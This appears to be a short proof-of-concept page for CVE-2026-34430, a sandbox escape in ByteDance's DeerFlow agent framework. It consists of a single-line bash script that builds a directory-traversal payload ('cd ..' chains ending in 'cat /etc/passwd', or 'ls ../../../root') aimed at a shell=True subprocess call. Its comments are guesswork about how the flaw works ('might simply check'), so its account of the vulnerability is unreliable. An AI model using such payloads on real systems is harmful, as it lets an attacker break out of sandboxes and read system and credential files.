CVE-2026-34430 ByteDance DeerFlow沙箱逃逸漏洞

#!/bin/bash # PoC for CVE-2026-34430: ByteDance DeerFlow Sandbox Escape # This payload attempts to bypass regex validation using directory traversal. # The vulnerable regex might simply check for valid characters or specific commands. # We use 'cd' with relative paths to traverse out of the sandbox. PAYLOAD="cd /tmp/sandbox; cd ..; cd ..; cd ..; cat /etc/passwd" # Alternatively, executing a command directly with a relative path # PAYLOAD="ls ../../../root" # Example of how the vulnerable subprocess might be invoked # subprocess.run(PAYLOAD, shell=True) -> This leads to escape echo "Executing Payload: $PAYLOAD" # eval "$PAYLOAD" # Actual execution in a vulnerable context